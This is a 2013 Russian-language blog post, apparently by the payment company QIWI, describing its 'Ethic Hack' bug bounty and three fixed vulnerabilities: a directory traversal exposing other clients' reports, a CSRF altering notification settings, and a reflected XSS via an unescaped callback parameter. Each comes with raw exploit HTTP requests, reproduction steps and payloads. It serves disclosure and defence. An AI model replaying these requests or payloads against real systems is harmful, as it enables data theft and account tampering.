...

среда, 24 июля 2013 г.

3 истории Ethic Hack. Как хакеры помогают QIWI ликвидировать баги

Не так давно мы в QIWI запустили одну интересную программу – она называется Ethic Hack. По сути мы привлекаем всех желающих к поиску ошибок и багов в интерфейсах системы. Нашел баг, описал его в письме, получил вознаграждение от QIWI – вот так работает схема. Когда программа только запускалась, офис поделился на 2 лагеря: одни верили в успех и в возможность содействия со стороны хакеров, другие же отнеслись к этой затее скептически. Тогда сложно было объективно судить – ничего, кроме вероятных прогнозов у нас не было. А сейчас – есть. И мы как раз хотим поделиться с вами наработанными кейсами.


С момента запуска программы мы получили информацию и исправили более 150 уязвимостей. За отдельные уязвимости мы заплатили до 150 000 рублей, но именно их мы не можем опубликовать их в примерах.


Итак, программа пошла в гору. У нас накопилось немало багов, которые мы исправили благодаря содействию хакеров. Специально для вас мы выделили несколько примеров. Несколько реальных историй Ethic Hack.


История первая: читать чужие отчеты.


Уязвимый хост: sms.qiwi.ru

Тип уязвимости: Обход директории + слабая проверка ID + отсутствие проверки сессии

Что позволяет: Читать чужие отчеты и получить скоп клиентов компании и их действий :)


Где именно: sms.qiwi.ru/bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id=Как повторить: Указываете нужный ID отчета в конце + его цифры в качестве директории после Reports (123456 -> reports/12/34/56.dat). Вуаля, у вас чужой отчет :)


Полный GET запрос с примером кражи чужого отчета:


GET /bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id= HTTP/1.1

Host: sms.qiwi.ru

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Origin: sms.qiwi.ru

Accept-Encoding: gzip, deflate

Accept-Language: ru

Referer: sms.qiwi.ru/bo/monitor/report_view.jsp?instance_id=144114

Cookie: JSESSIONID=; __utma=200106670.88940096.1367226876.1367244987.1367247574.7; __utmc=200106670; __utmz=200106670.1367247574.7.5.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=site%3Aqiwi.ru%20inurl%Connection: keep-alive

Proxy-Connection: keep-alive


История вторая: как можно было менять параметры уведомлений.


Уязвимый хост

ishop.qiwi.ru


Тип уязвимости в рамках классификации OWASP TOP 10

A8 — CSRF


Где именно

ishop.qiwi.ru/notificationSave.action


Что позволяет

Уязвимость позволяет выполнить злоумышленнику изменение параметров уведомления (номер телефона, смс и т.д) пользователя при переходе этого пользователя на специально созданную злоумышленником страницу.


Как повторить

1. Войти в систему под некоторой учетной записью пользователя.

2. Выполнить настройки уведомлений.

3. Выполнить шаг 4 (тест)

4. Отправить с помощью приложения BurpSuite или аналогичного ему следующий запрос, подставив полученные сессионные значения сcookie (JSESSIONID)


POST /notificationSave.action HTTP/1.1

Host: ishop.qiwi.ru

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: ishop.qiwi.ru/notifications.action

Cookie: __utma=200106670.867508279.1368788962.1368788962.1369037765.2; __utmz=200106670.1368788962.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=200106670; JSESSIONID=;.node-ishop04.1; __utma=47471167.1903908478.1369624211.1369650501.1369717004.6; __utmc=47471167; __utmz=47471167.1369717004.6.2.utmcsr=ishopnew.qiwi.ru|utmccn=(referral)|utmcmd=referral|utmcct=/; __utmb=47471167.25.10.1369717004

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 244


phone=&incomingBillMail=true&__checkbox_incomingBillMail=true&__checkbox_outgoingBillMail=true&__checkbox_incomingPayMail=true&__checkbox_incomingPaySMS=true&__checkbox_cancelPayMail=true&__checkbox_cancelPaySMS=true

5. Перейти на страницу настроек уведомлений, убедиться в том, что изменен номер телефона и параметры уведомления


Рекомендации по устранению

Добавить скрытое поле формы, содержащее случайное значение — CSRF токен.

www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet


История третья: произвольный код.


Ошибка найдена на сайте w.qiwi.ru.


Отсутствует всякая валидация и экранирование выходных данных для параметра callback в сценарии /user/communication/sendsms.action.


Возможно выполнение произвольного кода на стороне клиента.


Для проведении атаки регистрация пользователя в системе не требуется. Пользователь должен открыть сценарий javascript, предложенный броузером.


Пример запроса


GET /user/communication/sendsms.action?number=&text=111&callback=<>"'; HTTP/1.1

Host: w.qiwi.ru

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0

Accept: text/javascript, application/javascript, */*

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: w.qiwi.ru/communication.action

Cookie: __utma=153665022.317299647.1368525797.1368679677.1368684655.3; __utmz=153665022.1368684655.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=qiwi%20webmoney; JSESSIONID=.node-wb02.2; __utmc=153665022; __utmb=153665022.34.10.1368684655

Connection: keep-alive

Content-Length: 6


Ответ


HTTP/1.1 200 OK

Date: Thu, 16 May 2013 08:16:14 GMT

Expires: Sat, 6 May 1995 12:00:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

Content-Type: text/javascript;charset=utf-8

Content-Length: 142

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive


<>"';({error:0,data:{«confirmedBySms»:true,«confirmLink»:"",«provider»:«199»,«identifier»:""},messages:[],errors:[],fieldErrors:[]})


Proof of Concept


В броузере Internet Explorer перейти по адресу


w.qiwi.ru/user/communication/sendsms.action?number=text=111&callback=WScript.Echo('XSS');

При проверке использовался броузер Internet Explorer версии 9.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


Комментариев нет:

Отправить комментарий